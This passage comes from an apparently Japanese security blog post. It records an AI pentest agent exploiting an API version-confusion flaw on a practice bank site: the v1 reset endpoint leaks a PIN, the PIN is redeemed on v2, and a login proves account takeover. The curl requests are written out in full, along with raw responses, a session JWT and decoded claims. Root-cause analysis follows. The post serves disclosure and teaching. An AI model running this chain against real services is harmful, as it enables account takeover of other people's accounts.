&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;cloudflare&lt;/span&gt;
&lt;span class="na"&gt;cf-cache-status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;DYNAMIC&lt;/span&gt;
&lt;span class="na"&gt;Nel&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}&lt;/span&gt;
&lt;span class="na"&gt;Report-To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=G7Kqftl8cVngY46mK76PSPR8TjpqT%2Fdjc5KTJ%2BaaDXEBmeb%2BEBenfdKUF4LZAojIiaIYWKXhIDEFvlNoZZmSysyWGYbPIqAMpczTFg%3D%3D"}]}&lt;/span&gt;
&lt;span class="na"&gt;CF-RAY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;99ace5d8da6ebb1b-CDG&lt;/span&gt;
&lt;span class="na"&gt;alt-svc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;h3=":443"; ma=86400&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"debug_info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"pin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"223"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"pin_length"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2025-11-07 12:31:58.190715"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"testB_vconf_01"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Reset PIN has been sent to your email."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;抽出されたv1のPIN&lt;/strong&gt;：&lt;code&gt;223&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ2：v2のエンドポイントでv1のPINを引き換える（バージョンをまたぐ攻撃）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用ツール&lt;/strong&gt;：curl&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-sS&lt;span class="w"&gt; &lt;/span&gt;--http1.1&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org/api/v2/reset-password"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Accept: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Connection: keep-alive"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"username":"testB_vconf_01","reset_pin":"223","new_password":"Tmp!Pass#B1"}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-D&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:41:22 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;80&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;cloudflare&lt;/span&gt;
&lt;span class="na"&gt;cf-cache-status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;DYNAMIC&lt;/span&gt;
&lt;span class="na"&gt;Nel&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}&lt;/span&gt;
&lt;span class="na"&gt;Report-To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tPZNfCsblxfbMaoEi50%2FYgP3Dyl3NXIbm%2FbExP7sBEAqmaahb0wZhEUNXtqSGlS1dimQC06PrhN%2BgHA%2BKD2x966EbFFP1Y1DMarIuw%3D%3D"}]}&lt;/span&gt;
&lt;span class="na"&gt;CF-RAY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;99ace78c3af0924d-FRA&lt;/span&gt;
&lt;span class="na"&gt;alt-svc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;h3=":443"; ma=86400&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Password has been reset successfully"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;v2はPINを受け入れます。v1のデータ漏えいを修正するために設計されたにもかかわらず、v2のリセットエンドポイントは依然としてv1で発行されたPINを処理します。これで攻撃チェーンが完成します。v1でリセットを要求してPINを漏えいさせ、それをv2で引き換えることでクライアント側のあらゆる保護を回避するのです。&lt;/p&gt;
&lt;p&gt;これがバージョン混同の脆弱性の核心的な問題です。両方のAPIバージョンは同じバックエンドのPINストレージを共有していますが、それぞれ異なるセキュリティ制御を適用します。攻撃者はいとも簡単に組み合わせられます。弱いところではv1を、強いところではv2を使うのです。バージョン管理は、実装には存在しないセキュリティ境界という幻想を生み出します。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="フェーズ4:検証(完全なアカウント乗っ取りの証明)"&gt;フェーズ4：検証（完全なアカウント乗っ取りの証明）&lt;/h2&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;システムプロンプト：アカウント乗っ取りを検証&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;v2で設定した新しいパスワードでログインすることにより、アカウントBに対するバージョン混在の引き換えが有効になったことを検証する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アクション&lt;/strong&gt;：ヘッダー&lt;code&gt;Content-Type: application/json&lt;/code&gt;、ブラウザーに似たUser-Agent、&lt;code&gt;Connection: keep-alive&lt;/code&gt;を付けて、&lt;code&gt;https://vulnbank.org/login&lt;/code&gt;にPOSTを正確に1回だけ送信する。ボディのJSON：&lt;code&gt;{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}&lt;/code&gt;。5rps未満に保ち、試行は1回のみ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;そのまま取得すべきエビデンス&lt;/strong&gt;：生のHTTPリクエストと生のHTTPレスポンスの全体（ステータス、&lt;code&gt;Set-Cookie&lt;/code&gt;や&lt;code&gt;Access-Control-Allow-*&lt;/code&gt;を含むすべてのヘッダー、完全なJSONボディ）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定される結果&lt;/strong&gt;：ログインの確認（有効なトークンを伴う200成功）は、v2がv1のPINを受け入れた結果、実際にパスワードが変更されたことを実証する。成功した場合はトークンを抽出し、JWTかどうかを特定し、ヘッダーとペイロードをローカルでデコードして、クレームがアカウントBと一致することを確認する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;使用ツール：curl&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-sS&lt;span class="w"&gt; &lt;/span&gt;--http1.1&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Connection: keep-alive"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org/login"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:43:06 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;501&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Nel&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;cloudflare&lt;/span&gt;
&lt;span class="na"&gt;cf-cache-status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;DYNAMIC&lt;/span&gt;
&lt;span class="na"&gt;Report-To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VbrIMCsVFv4mkFtw%2FZPjNJMVtH8dELhrPGiY3jiVR6fT7G63HAaGXj%2B3P5z8zGS9gNRqqnzvka7L5cQ%2FSATUkkY87SWWVqM0KJntZA%3D%3D"}]}&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0; HttpOnly; Path=/&lt;/span&gt;
&lt;span class="na"&gt;CF-RAY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;99acea17dacb6f99-CDG&lt;/span&gt;
&lt;span class="na"&gt;alt-svc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;h3=":443"; ma=86400&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"accountNumber"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"6235161082"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"debug_info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"account_number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"6235161082"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"is_admin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"login_time"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2025-11-07 12:34:52.147690"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"testB_vconf_01"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"isAdmin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Login successful"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;トークン解析&lt;/strong&gt;：&lt;strong&gt;トークン形式&lt;/strong&gt;はJWT（base64urlの3セグメント）。&lt;strong&gt;デコードしたヘッダー&lt;/strong&gt;：&lt;code&gt;{"typ":"JWT","alg":"HS256"}&lt;/code&gt;。&lt;strong&gt;デコードしたペイロード&lt;/strong&gt;：&lt;code&gt;{"user_id":46,"username":"testB_vconf_01","is_admin":false,"iat":1762518892}&lt;/code&gt;。&lt;strong&gt;クレームの一致&lt;/strong&gt;：アカウントB（user_id 46、username testB_vconf_01）。&lt;/p&gt;
&lt;p&gt;ログインは成功します。パスワードはバージョンをまたぐ攻撃によって確かに変更され、JWTは当社がこのアカウントを掌握したことを裏付けています。&lt;/p&gt;
&lt;p&gt;攻撃全体に必要なのはユーザー名だけです。メールへのアクセスも、ユーザー操作も、総当たりも不要です。v1でリセットを要求し、レスポンスからPINを抽出し、v2で引き換え、認証する。4回のHTTPリクエスト、30分未満のテストです。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;攻撃に要したコストは次のとおりです：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;必要な入力&lt;/strong&gt;：ユーザー名のみ。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ユーザー操作&lt;/strong&gt;：なし。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リクエスト&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;v1のforgot-password &amp;rarr; PINを漏えい  &lt;/li&gt;
&lt;li&gt;v2のreset-password &amp;rarr; パスワードを設定  &lt;/li&gt;
&lt;li&gt;login &amp;rarr; 乗っ取りを検証  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;所要時間&lt;/strong&gt;：的を絞った探索の30分未満で発見。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜこれが起きるのか:命名規則による信頼境界"&gt;なぜこれが起きるのか：命名規則による信頼境界&lt;/h2&gt;
&lt;p&gt;根本的な問題は、単に「PINを漏らした」ことだけではありません（それも悪いことですが）。問題は、チームがAPIのバージョン管理について抱く&lt;strong&gt;メンタルモデル&lt;/strong&gt;にあります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;v1：「古いもので、少し怪しいかもしれない」。&lt;/li&gt;
&lt;li&gt;v2：「修正済みで安全」。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;しかし実際には：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;両バージョンは同じ&lt;strong&gt;PINストア&lt;/strong&gt;とやり取りする。&lt;/li&gt;
&lt;li&gt;両バージョンは同じ&lt;strong&gt;ユーザーアカウント&lt;/strong&gt;を扱う。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ修正&lt;/strong&gt;を受けたのは一方のバージョンだけ。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、見かけ上はセキュリティ境界に&lt;em&gt;見える&lt;/em&gt;もの、すなわち「v2を使えば安全」というものを作り出しておきながら、内部の信頼境界は実際には何も変えていないのです。&lt;/p&gt;
&lt;p&gt;これはより広範なパターンです：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ上重要なフローが複数のバージョンで存在する&lt;/strong&gt;（パスワードリセット、MFA、トークン、セッション）。&lt;/li&gt;
&lt;li&gt;一方のバージョンは堅牢化され、古い方は、ときに「互換性のため」として残り続ける。&lt;/li&gt;
&lt;li&gt;両者は&lt;strong&gt;バックエンドの状態&lt;/strong&gt;を共有する。&lt;/li&gt;
&lt;li&gt;攻撃者は組み合わせる。v1の弱い部分と、v2の都合のよい部分を使うのだ。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ここでのOpenAPI仕様は、ダウングレード経路を&lt;em&gt;宣伝&lt;/em&gt;すらしています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「v1: debug_infoにPINが含まれる」  &lt;/li&gt;
&lt;li&gt;「v2: PINの露出なし」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これを公開しておきながらバックエンドで挙動を厳密に分離しなければ、実質的に自分専用の攻撃手順書を出荷しているようなものです。&lt;/p&gt;
&lt;h2 id="なぜファジングだけではこれを見逃しがちなのか"&gt;なぜファジングだけではこれを見逃しがちなのか&lt;/h2&gt;
&lt;p&gt;従来のスキャナーは、次のような傾向があります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エンドポイントにペイロードを浴びせる。&lt;/li&gt;
&lt;li&gt;容易に見つかる問題（弱いエントロピー、認証の欠如など）を指摘する。&lt;/li&gt;
&lt;li&gt;各エンドポイントをおおむね個別に扱う。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;このバグは、次のようなものではありませんでした：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;奇妙なエッジケースのパーサーの問題、&lt;/li&gt;
&lt;li&gt;風変わりなHTTPスマグリングのガジェット、&lt;/li&gt;
&lt;li&gt;あるいは6台のプロキシとヤギの生贄がなければ再現できないようなもの。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは&lt;strong&gt;関係性&lt;/strong&gt;に関するものでした：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同じユーザー。&lt;/li&gt;
&lt;li&gt;同じPIN。&lt;/li&gt;
&lt;li&gt;異なる保証を持つ、同じフローの2つのバージョン。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AIエンジンは、次のようにしてこれを発見しました：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;人間と同じようにOpenAPI仕様を読む。&lt;/li&gt;
&lt;li&gt;v1とv2がセキュリティの面で異なる挙動をすることを見抜く。&lt;/li&gt;
&lt;li&gt;「両者は状態を共有しているのか？」と問い、そのうえで共有していることを実証する。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;テスト戦略が&lt;strong&gt;バージョンをまたぐフロー&lt;/strong&gt;について推論しなければ、こうしたバグは平然と目の前に居座り続けます。&lt;/p&gt;
&lt;h2 id="メタ教訓:的を絞った推論が闇雲な力任せに勝る"&gt;メタ教訓：的を絞った推論が闇雲な力任せに勝る&lt;/h2&gt;
&lt;p&gt;このバグ全体は、単純な思考プロセスから導き出されました：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;仕様には2つのバージョンがあると書かれている。&lt;/li&gt;
&lt;li&gt;仕様には、両者がセキュリティの面で異なる挙動をすると書かれている。&lt;/li&gt;
&lt;li&gt;トークンは共有されているようだ。&lt;/li&gt;
&lt;li&gt;両者を混ぜてみる。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;巨大なワードリストもなければ、何時間ものファジングもありません。あるのは理解と、ごく少数の慎重に選ばれたHTTPリクエストだけです。&lt;/p&gt;
&lt;p&gt;どのような規模であれAPIを構築あるいはテストしているなら、人間であれ機械であれ、そうした思考を味方につけたいはずです。&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="AI"/><category term="POC"/><category term="pentest"/><category term="account takeover"/><category term="api"/></entry><entry><title>最新のSPAに潜む二次的なデータ持ち出しチェーンを暴く</title><link href="https://blog.ostorlab.co/ja/uncovering-second-order-data-exfiltration-chain-modern-spas.html" rel="alternate"/><published>2025-12-10T16:20:00+01:00</published><updated>2025-12-10T16:20:00+01:00</updated><author><name>Mouad Ait Ougrram</name></author><id>tag:blog.ostorlab.co,2025-12-10:/ja/uncovering-second-order-data-exfiltration-chain-modern-spas.html</id><summary type="html">&lt;p&gt;最新のSPAで二次的なクライアントサイドのデータ持ち出しチェーンがどのように発見されたかを解説します。JavaScriptの解析とエクスプロイトチェーンの検証を通じて、単純なオープンリダイレクトが多段階のデータ窃取の脆弱性へと変わりました。&lt;/p&gt;</summary><content 